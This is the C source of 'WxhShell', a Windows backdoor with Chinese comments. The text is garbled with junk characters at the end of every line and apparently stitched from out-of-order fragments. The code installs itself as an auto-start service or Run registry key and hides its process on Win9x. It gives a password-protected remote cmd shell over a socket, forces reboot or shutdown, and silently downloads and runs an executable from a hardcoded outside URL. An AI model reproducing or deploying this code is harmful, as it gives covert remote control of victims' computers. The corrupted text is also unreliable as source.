    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tt9cX}&&  
    if(Boot(SHUTDOWN)) YD@Z}NE v"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F Z RnIg  
    else { [3sZ=)G  
    closesocket(wsh); E<}sGzMc  
    ExitThread(0); ev0>j4Q  
    } 8ki3>"!A  
    break; mR|5$1[b  
    } 4!OGNr$V@  
  // 获取shell pEz^z9  
  case 's': { wfe4b  
    CmdShell(wsh); w N`Nj m9!  
    closesocket(wsh); FfxD=\  
    ExitThread(0); &SPY'GQ!  
    break; pH.&C 5kA  
  } i-;#FT+ Xc  
  // 退出 Cg?Mk6i  
  case 'x': { TDbSK&w :s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  @)0  
    CloseIt(wsh); -9 .lFuI  
    break; $j(d`@.DN~  
    } hr&&b3W3p  
  // 离开 w&T\8k=  
  case 'q': { 5-ED\-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,C"6@/:l  
    closesocket(wsh); }:YL'$:5!  
    WSACleanup(); QZG<sZ0"  
    exit(1); 'K02T:\iZ  
    break; l`l6Y>c*]  
        } f8SO:ihXL  
  } IY8<^Q']  
  } i].E1},%  
TmftEw>u  
  // 提示信息 L C##em=Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J)y g<*/3  
} 2}XRqa.|  
  } v0!|TI3s  
!hM`Oe`S  
  return; }aVzr}!  
} lw gwdB  
E:M,nSc)53  
// shell模块句柄 4eB oR%2o  
int CmdShell(SOCKET sock) 6it [i@*"  
{ u?fM.=/N  
STARTUPINFO si; Dq<DW2It>  
ZeroMemory(&si,sizeof(si)); ?H,f|nc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vf@j d}?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1$.svR  
PROCESS_INFORMATION ProcessInfo; ;+(_stxqV9  
char cmdline[]="cmd"; /n(0w`   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `p9N| V  
  return 0; V s xI  
} 'I+M*Iy  
Nu?A>Q  
// 自身启动模式 %*!6R:gAp  
int StartFromService(void) G1w$lc  
{ AaxQBTB  
typedef struct ub fh4  
{ ~XP|dn}  
  DWORD ExitStatus; 7S 8X)  
  DWORD PebBaseAddress; 0>BI[x@  
  DWORD AffinityMask; $#+D:W)az  
  DWORD BasePriority; 7g]mrI@  
  ULONG UniqueProcessId; 8x)i{>#i  
  ULONG InheritedFromUniqueProcessId; "_LqIW1   
}   PROCESS_BASIC_INFORMATION; HfhI9f_x  
=No#/_  
PROCNTQSIP NtQueryInformationProcess; ~GX ]K H  
oy#(]K3`O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Mt|+iT$p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B+~ /-3  
c1i:m'b_5  
  HANDLE             hProcess; # $k1w@  
  PROCESS_BASIC_INFORMATION pbi; Yb`b /BMR  
Q:Pp'[ RK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *yw!Y{e!9  
  if(NULL == hInst ) return 0; U ^GVz%\  
z8'zH>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q78OP}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o+x! (  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ggrYf*  
"OYD9Q''  
  if (!NtQueryInformationProcess) return 0; |>xuH#Q  
41d+z>a]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <z2.A/L  
  if(!hProcess) return 0; 6'N_bNW  
 QtG6v<A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ps:`rVQ7  
`?R{sNr.  
  CloseHandle(hProcess); _*?qOmf=  
O9d"Z$~n=j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <`=Kt[_BQ  
if(hProcess==NULL) return 0; VVAcbAGJ  
HBvyX`-  
HMODULE hMod; =v::N\&  
char procName[255]; .TdFI"Yn  
unsigned long cbNeeded; ezL1,GT  
&dWGa+e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ttJ'6lGXh  
hx;kNcPbI  
  CloseHandle(hProcess); XC~"T6F  
1aIGC9xQ`  
if(strstr(procName,"services")) return 1; // 以服务启动 4 FZR }e\  
Q>+rjN;  
  return 0; // 注册表启动 k'|yUJ,  
} +x`pWH]2  
=oh%-Sh:  
// 主模块 XKZsX1=@R  
int StartWxhshell(LPSTR lpCmdLine) i~v[3e9y7  
{ s#aj5_G  
  SOCKET wsl; ~' 955fK>  
BOOL val=TRUE; BQ u8$W  
  int port=0; J|^XD<Y  
  struct sockaddr_in door; :vEfJSA 1<  
1 ; <Vr<.  
  if(wscfg.ws_autoins) Install(); x+za6e_k"  
-hm/lxyU  
port=atoi(lpCmdLine); y7!&  
oVZzvK(zR  
if(port<=0) port=wscfg.ws_port; K n1;=k  
L)\<7  
  WSADATA data; 'Z.C&6_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F5YoEWS  
?yj g\S?L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !LpjTMYs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F."ZCEb  
  door.sin_family = AF_INET; vxk0@k_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U _A'/p^D  
  door.sin_port = htons(port); vdgK3I  
_6c/,a8;*J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0U*f"5F  
closesocket(wsl); *tRsm"}  
return 1; b+ycEs=_  
} L"dN $ A  
j} /).O  
  if(listen(wsl,2) == INVALID_SOCKET) { CEw%_U@8  
closesocket(wsl); NrXIaN  
return 1; j5:4/vD  
} .5s58H cg,  
  Wxhshell(wsl); D]"W|.6@  
  WSACleanup(); Da8gOZ  
Xp06sl7 M  
return 0; *My9r.F5o  
d oEuKT  
} yFmy  
4OJD_  
// 以NT服务方式启动 J!~kqNI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `^^t#sT   
{ 2(~Zl\  
DWORD   status = 0; ..nVViZ  
  DWORD   specificError = 0xfffffff; wy:Gy9\  
'-N 5F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3o>JJJ=]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^W@8KB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;P juO  
  serviceStatus.dwWin32ExitCode     = 0; -eh .Tk  
  serviceStatus.dwServiceSpecificExitCode = 0; WFk%nO/  
  serviceStatus.dwCheckPoint       = 0; fDW:|%{Y,  
  serviceStatus.dwWaitHint       = 0; ]ke9ipj]:  
/8l@n dZf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bnk<e  
  if (hServiceStatusHandle==0) return; <Rn-B).3bs  
V0 Z8VqV  
status = GetLastError(); (j@c946z""  
  if (status!=NO_ERROR) Z+6WG  
{ O9?.J,,mVh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )hQ]>o@i{  
    serviceStatus.dwCheckPoint       = 0; #*y.C[^5{  
    serviceStatus.dwWaitHint       = 0; 7 qn=W  
    serviceStatus.dwWin32ExitCode     = status; 73'AQ")UJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; e>c -b^{&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }{@y]DcdM4  
    return; ?<N} Xh  
  } I2RXw  
pRE^; 4}z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^`SEmYb;  
  serviceStatus.dwCheckPoint       = 0; }s'=w]m  
  serviceStatus.dwWaitHint       = 0; jz=V*p}6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y*sVimx  
} y!x[N!a  
M"p%CbcI]  
// 处理NT服务事件,比如:启动、停止 Pke8RLg2A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y-1K'VhT  
{ svxjad@l/  
switch(fdwControl) V*2 * 5hx  
{ {4/*2IRN9h  
case SERVICE_CONTROL_STOP: ?#&[1.= u  
  serviceStatus.dwWin32ExitCode = 0; W" vkmk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >m!Z$m([J  
  serviceStatus.dwCheckPoint   = 0; 0iR?r+|  
  serviceStatus.dwWaitHint     = 0; 3[_WTwX0  
  { PbS1`8|4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VrfEa d  
  } ?Q"<AL>Z  
  return; (X5y%~;V5a  
case SERVICE_CONTROL_PAUSE: /&47qU4PJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wVI_SQ<8V  
  break; _s0)Dl6K  
case SERVICE_CONTROL_CONTINUE: ( [a$Z2m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Aep](je  
  break; OMo/a%`  
case SERVICE_CONTROL_INTERROGATE: V6c8o2G;+  
  break; jxm#4  
}; nr&|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~}ifwm'7 a  
} >)*d/^  
>+;} "J  
// 标准应用程序主函数 XI$W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `~lG5|  
{ ]:2Ro:4Yv  
. bUmT!  
// 获取操作系统版本 ~fL`aU&  
OsIsNt=GetOsVer(); z!b:|*m]w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bk=;=K  
dZ* &3.#D5  
  // 从命令行安装 Y$Rte .?  
  if(strpbrk(lpCmdLine,"iI")) Install(); m*iSW]&  
NPO!J^^  
  // 下载执行文件 EFI!b60mc  
if(wscfg.ws_downexe) { 0<4'pO.6Hq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p-(V2SP/)t  
  WinExec(wscfg.ws_filenam,SW_HIDE); %qeNC\6N  
} o2$A2L9P  
k^;/@:  
if(!OsIsNt) { d^tY?*n  
// 如果时win9x,隐藏进程并且设置为注册表启动 ' i5}`\  
HideProc(); bcu Uej:  
StartWxhshell(lpCmdLine); =Xid"$  
} jg%mWiKwK7  
else Oi~Dio_?  
  if(StartFromService()) G[>CBh5  
  // 以服务方式启动 (yuOY/~k/  
  StartServiceCtrlDispatcher(DispatchTable); P<[) qq@;  
else @~7au9.V=X  
  // 普通方式启动 =2rdbq6R  
  StartWxhshell(lpCmdLine); @Ss W  
1\/vS$bi(  
return 0; $ Fc}K+  
} pO N#r  
-%>Tjo@B n  
=I&BO[d  
A/lznBHR  
=========================================== _*sd#  
n[i:$! ,  
[GK## z'5  
,d.5K*?aI  
W:wSM *  
k+i0@G'C(  
" m8b-\^eP7  
OaoHN& "  
#include <stdio.h> *Ev8f11i&  
#include <string.h> $JBb] v8_  
#include <windows.h> YB)I%5d;{  
#include <winsock2.h> M1 o@v0  
#include <winsvc.h> fh1-]$z`~  
#include <urlmon.h> DW7Jk"\GH  
As^eL/m2L  
#pragma comment (lib, "Ws2_32.lib") fU%Mz\t  
#pragma comment (lib, "urlmon.lib") N;}X$b5Y @  
&io+*  
#define MAX_USER   100 // 最大客户端连接数  '@.Lg0`  
#define BUF_SOCK   200 // sock buffer j3+ hsA/(k  
#define KEY_BUFF   255 // 输入 buffer N 5{w  
\>.[QQVI"l  
#define REBOOT     0   // 重启 V5 9Vf[i|  
#define SHUTDOWN   1   // 关机 `s=Z{bw  
MX!N?k#KhP  
#define DEF_PORT   5000 // 监听端口 ;<0~^,Xm  
"9*MSsU  
#define REG_LEN     16   // 注册表键长度 `W1TqA  
#define SVC_LEN     80   // NT服务名长度 c;yp}k]\  
$ 6r> Tc](  
// 从dll定义API +yk0ez  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e&[~}f?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w_QWTD 0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^K~=2^sh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `@6y Wb:X  
+>u 8r&Jw.  
// wxhshell配置信息 td$RDtW[3  
struct WSCFG { C\{hN  
  int ws_port;         // 监听端口 ^ rO}'~(  
  char ws_passstr[REG_LEN]; // 口令 pD~."fb  
  int ws_autoins;       // 安装标记, 1=yes 0=no M[iWWCX  
  char ws_regname[REG_LEN]; // 注册表键名 0R]'HA>  
  char ws_svcname[REG_LEN]; // 服务名 [{`&a#Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?f:0GE7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?e+y7K}"]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r`+G9sj3U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =&.9z 4A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PuBE=9,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :Us+u-~  
SD:Bw0gzrI  
}; .K#' Fec  
y<v-,b*  
// default Wxhshell configuration 6*|EB|%n  
struct WSCFG wscfg={DEF_PORT,  aqi]5,  
    "xuhuanlingzhe", 3_i29ghv  
    1, &wkb r2P  
    "Wxhshell", k#V\O2lb  
    "Wxhshell", "1DlusmCCB  
            "WxhShell Service", r=RiuxxTq  
    "Wrsky Windows CmdShell Service", (v}l#M7w  
    "Please Input Your Password: ", Rp_}_hL0  
  1, 0Uk;&a0s  
  "http://www.wrsky.com/wxhshell.exe", 8f'r_,"  
  "Wxhshell.exe" v.,D,6qZ  
    }; 1^WkW\9kO  
):L0{W{  
// 消息定义模块 (J(SwL|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YXU2UIY<~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]yFO~4Nu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ] J|#WtS  
char *msg_ws_ext="\n\rExit."; !\Xrl) $j{  
char *msg_ws_end="\n\rQuit."; $c+:dO|Fb  
char *msg_ws_boot="\n\rReboot..."; RW Jyd=  
char *msg_ws_poff="\n\rShutdown..."; 1dy"  
char *msg_ws_down="\n\rSave to "; l?^}n(_.  
)g U#[}6H  
char *msg_ws_err="\n\rErr!"; iWe'|Br  
char *msg_ws_ok="\n\rOK!"; ue!4By8T  
N{Pa&/V  
char ExeFile[MAX_PATH]; qyY/:&E,Z  
int nUser = 0; n2'XWbMaL  
HANDLE handles[MAX_USER]; bK!uR&i^l  
int OsIsNt; kp)1s>c  
[ 4PiQyr  
SERVICE_STATUS       serviceStatus; q((%sWp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X:(t,g*7  
=C^4nP-  
// 函数声明 P}!pmg6V  
int Install(void); /(}YjeS  
int Uninstall(void); NZXCaciG  
int DownloadFile(char *sURL, SOCKET wsh); -Ji uq  
int Boot(int flag); 7Mh!@Rd_V  
void HideProc(void); ]0}NF  
int GetOsVer(void); |B\76Nk  
int Wxhshell(SOCKET wsl); +' .o  
void TalkWithClient(void *cs); {Sc*AE&Y  
int CmdShell(SOCKET sock); .SWn/Kk  
int StartFromService(void); 9A\\2Zz6F  
int StartWxhshell(LPSTR lpCmdLine); AC?a:{ ./  
+KP&D.wIo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {'?PGk%v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 97}l`z;Z  
.&KC2#4   
// 数据结构和表定义 uUv^]B 8GM  
SERVICE_TABLE_ENTRY DispatchTable[] = +\cG{n*  
{ 1w 9zl}  
{wscfg.ws_svcname, NTServiceMain}, @Ps1.  
{NULL, NULL} qFY>/fCP4  
}; Te>m9Pav  
sA,2gbW  
// 自我安装 Z =*h9,MY  
int Install(void) J$yJ2G  
{ ?y~"\iP  
  char svExeFile[MAX_PATH]; `;s#/`c|/  
  HKEY key; o4B%TW  
  strcpy(svExeFile,ExeFile); r!p:73L8  
0(A&m ,  
// 如果是win9x系统,修改注册表设为自启动 S\2@~*{-8  
if(!OsIsNt) { Dv=pX.Z+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XpT~]q}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _=I&zUF  
  RegCloseKey(key); ]L\]Ll;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e{ZS"e`!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^8g<>, $  
  RegCloseKey(key); ;![rwra  
  return 0; iis}=i7|  
    } 94[8~_{fG  
  } OI^qX;#Kd  
} u$(XZ;Jg  
else { <EuS6Pg  
8;(3fSNC  
// 如果是NT以上系统,安装为系统服务 ]_! . xx>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lhxg5cd  
if (schSCManager!=0) &?APY9\.  
{ Tnnj8I1v  
  SC_HANDLE schService = CreateService {_jbFJ  
  ( ^^[A\'  
  schSCManager, |Tk'H&  
  wscfg.ws_svcname, -9q3]nmT(  
  wscfg.ws_svcdisp, '=ydU+X  
  SERVICE_ALL_ACCESS, .fNLhyd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U ~8, N[  
  SERVICE_AUTO_START, R& HkWe  
  SERVICE_ERROR_NORMAL, }Q;^C  
  svExeFile,  ByjgM`  
  NULL, iz6+jHu'l  
  NULL, /t _QA  
  NULL, [T2!,D.  
  NULL, F<2qwP  
  NULL i#Z#(D `m  
  ); >ti)m >f  
  if (schService!=0) (U|WP%IM'  
  { Ap<j;s4`  
  CloseServiceHandle(schService); Ce@"+k+w  
  CloseServiceHandle(schSCManager); poS=8mN8;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;fm> \f  
  strcat(svExeFile,wscfg.ws_svcname); @`rC2-V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uVZX53 ,g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jG/@kh*m  
  RegCloseKey(key); zIc_'Z,b  
  return 0; 8qv>C)~~`  
    } |I=GI]I  
  } 7n'Ww=ttI  
  CloseServiceHandle(schSCManager); %u*HNo  
} h"ATRr^  
} )1Z @}o 9  
Vx=tP.BO]  
return 1; qfgw^2aUa  
} n,b6|Y0  
fa(-&;q  
// 自我卸载 nm@.] "/  
int Uninstall(void) pT<I!,~  
{ -) !;45  
  HKEY key; 3\a VZx!  
Qs8Rb]%|  
if(!OsIsNt) { 'F^"+Xi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #UqE %g`J  
  RegDeleteValue(key,wscfg.ws_regname); 2;ac&j1  
  RegCloseKey(key); &MJ`rj[%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1,pPLc(  
  RegDeleteValue(key,wscfg.ws_regname); VJ-To}  
  RegCloseKey(key); cwI3ANV  
  return 0; bMN ]co  
  } Lz`_&&6  
} "V<7X%LIX  
} _16r8r$V  
else { D#d \1g  
'TDp%s*;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %ERR^  
if (schSCManager!=0) V6r*fEhrT_  
{ )$QZ",&5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \|C~VU@  
  if (schService!=0) {:`XhPS<B  
  { YZ/2 :[b  
  if(DeleteService(schService)!=0) { 'F Cmbry  
  CloseServiceHandle(schService); )bK3%>H#  
  CloseServiceHandle(schSCManager); }ykc AK3U  
  return 0; Y?JB%%WWI  
  } ST[E$XL6  
  CloseServiceHandle(schService); $&. rS.*  
  } c- "#  
  CloseServiceHandle(schSCManager); (6X{ &  
} j.SE'a_  
} CWS]821;  
 cjf_,x  
return 1; LTnbBh*mc  
} G5!!^p~  
E[>A# l53  
// 从指定url下载文件 cf*SWKs  
int DownloadFile(char *sURL, SOCKET wsh) hU 5_ dV  
{ *\$ko)x?c  
  HRESULT hr; l+<AM%U\ V  
char seps[]= "/"; T)Pr%kF  
char *token; nF=[m; ~  
char *file; 9]^NAlno  
char myURL[MAX_PATH]; a- 7RJ.  
char myFILE[MAX_PATH]; SnG XEQ  
$x(p:+TI\4  
strcpy(myURL,sURL); v)LSH;<  
  token=strtok(myURL,seps); r/RX|M  
  while(token!=NULL) hGU 3DKHT  
  { Z>ztFU  
    file=token; SBamgc  
  token=strtok(NULL,seps); :hDv^D?3  
  } 71,GrUV:  
'L G )78sk  
GetCurrentDirectory(MAX_PATH,myFILE); O5A]{ W  
strcat(myFILE, "\\"); Z#s-(wf  
strcat(myFILE, file); s mqUFo  
  send(wsh,myFILE,strlen(myFILE),0); X6n8Bi9Ik  
send(wsh,"...",3,0); L#`X;:   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,o [FUi(#@  
  if(hr==S_OK) dG}*M25  
return 0; ]|B_3* A  
else p}|<EL}Z9  
return 1; zTfl#%  
DfVSG1g  
} 4\14HcTcK  
sxPvi0>  
// 系统电源模块 IgKrcpK#}?  
int Boot(int flag) MN_1^T5  
{ Q@cYHFi~+  
  HANDLE hToken; !1`f84d  
  TOKEN_PRIVILEGES tkp; (O'O #AD  
) {4$oXQ  
  if(OsIsNt) { M#xol/)h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^2"w5F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d@{#F"o  
    tkp.PrivilegeCount = 1; nC#SnyUO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xm> y3WC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r9~IR  
if(flag==REBOOT) { )?k~E=&o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f!JSb?#3  
  return 0; .zvvk  
} OQ4rJ#b  
else { 1c:/c|shQ_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /5Xt<7vm8  
  return 0; 1N+ju"2R  
} @mEB=X(-l=  
  } ]v0=jm5A  
  else { @Pf['BF"  
if(flag==REBOOT) { /@6T~XY M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (b+o$C  
  return 0; z O6Sl[)  
} Qe]aI7Ei  
else { ]9hhAT44  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y1Y  
  return 0; v8K4u)  
} kS)|oU K  
} VQn]"G( `  
+xBM\Dz8  
return 1; gr4JaV  
} r\m2Oo)]  
i [6oqZ  
// win9x进程隐藏模块 # 0/,teJ k  
void HideProc(void) LO)p2[5#R  
{ @|@6pXR.  
='fN xabB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [.>g.p,;  
  if ( hKernel != NULL ) IUQYoKz4}A  
  { Ikgia:/-Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 42wZy|oqp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -_BjzA|  
    FreeLibrary(hKernel); 3 /LW6W|  
  } p+Icq!aH5  
Klqte*!  
return; _&PF(/w  
} ilFS9A3P  
^c:I]_Ww  
// 获取操作系统版本 p\r V6+  
int GetOsVer(void) HkyN$1s  
{ M.KXDD#O  
  OSVERSIONINFO winfo; ]}nX$xy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _kQOax{c/  
  GetVersionEx(&winfo); fx/If  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O\^D 6\ v  
  return 1; wW0m}L  
  else &_$xMM,X  
  return 0; B[[1=  
} TXfG@4~kC  
qim|=  
// 客户端句柄模块 y?8V'.f|  
int Wxhshell(SOCKET wsl) BHZSc(-o  
{ WFMQ;  
  SOCKET wsh; @D@'S:3  
  struct sockaddr_in client; "Kf4v|6;  
  DWORD myID; ,pVq/1  
SNtOHTQ  
  while(nUser<MAX_USER) $ Bdxu  
{ /5C>7BC  
  int nSize=sizeof(client); >I9|N}I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3E:+DF-Z\  
  if(wsh==INVALID_SOCKET) return 1; 1DM$FG_Z-  
5 OF*PBZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /G#W/Q  
if(handles[nUser]==0) Y~I6ee,\  
  closesocket(wsh); |~YhN'OJ  
else  h]?[}&  
  nUser++; <F+9#-  
  } T2i\S9X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ 7uxReFZR  
;%xG bg!lg  
  return 0; szD BfGd%j  
} WvHy}1W  
QlWkK.<Z3_  
// 关闭 socket pqxBu  
void CloseIt(SOCKET wsh) ]=m0@JTbG  
{ iuWw(dJk  
closesocket(wsh); 3Tr}t.mt  
nUser--; vX"jL  
ExitThread(0); v*EErQML8b  
} +/2:  
O<6!?1|KP  
// 客户端请求句柄 ?iNihE  
void TalkWithClient(void *cs) v9vY#W  
{ u"M^qRhD  
k0!D9tk  
  SOCKET wsh=(SOCKET)cs; ({p @Ay  
  char pwd[SVC_LEN]; Op:7EdT#  
  char cmd[KEY_BUFF]; ($:JI3e[;  
char chr[1]; =/F\_/Xw  
int i,j; o$bD?Zn  
dG'5: ,n/  
  while (nUser < MAX_USER) { C$fQ[@  
qAR}D~t  
if(wscfg.ws_passstr) { J`{HMv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K iG/XnS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [[d@P%X&  
  //ZeroMemory(pwd,KEY_BUFF); qVmG"et'J  
      i=0; iC\t@BVS  
  while(i<SVC_LEN) { )ia$pe s  
+G>;NiP_  
  // 设置超时 KoO\<_@";  
  fd_set FdRead; 3?oj46gP  
  struct timeval TimeOut; XW9 [VUW~  
  FD_ZERO(&FdRead); y5 bELWA  
  FD_SET(wsh,&FdRead); jYJfo<  
  TimeOut.tv_sec=8; $)Pmr1==  
  TimeOut.tv_usec=0; *`.4M)Ym~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LjA>H>8%[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h;sdm/  
e8<[2J)P&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zhFk84  
  pwd=chr[0]; <y5f[HjLy  
  if(chr[0]==0xd || chr[0]==0xa) {  `jB2'  
  pwd=0; WXC}Ie  
  break; } ~#^FFe  
  } ;R.l?Bg  
  i++; #y%?A;  
    } LXQ-J  
!t 92_y3  
  // 如果是非法用户,关闭 socket YKs^aQm#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :ift{XR'  
} gAgP("  
Gr?[s'Ze  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Oy/+uw^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H Ql_ /:Wx  
#s'  
while(1) { ,l_n:H+"F  
9K F`9Y  
  ZeroMemory(cmd,KEY_BUFF); $di8#O*  
S\O6B1<:  
      // 自动支持客户端 telnet标准   O<v9i4*  
  j=0; SRx `m,535  
  while(j<KEY_BUFF) { 3xnu SOdh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mf)o1O&B  
  cmd[j]=chr[0]; (j;6}@  
  if(chr[0]==0xa || chr[0]==0xd) { "|l-NUe  
  cmd[j]=0; \aG:l.IM0  
  break; 4l*4w x""v  
  } W8 m*co  
  j++; L'Fy\K\  
    } A_WtmG_9  
&u/T,jy`  
  // 下载文件 bqDHLoB\1  
  if(strstr(cmd,"http://")) { Hc{0O7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qSWnv`hL  
  if(DownloadFile(cmd,wsh)) pZ4]oK\*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P$=Y5   
  else va/$dD9  
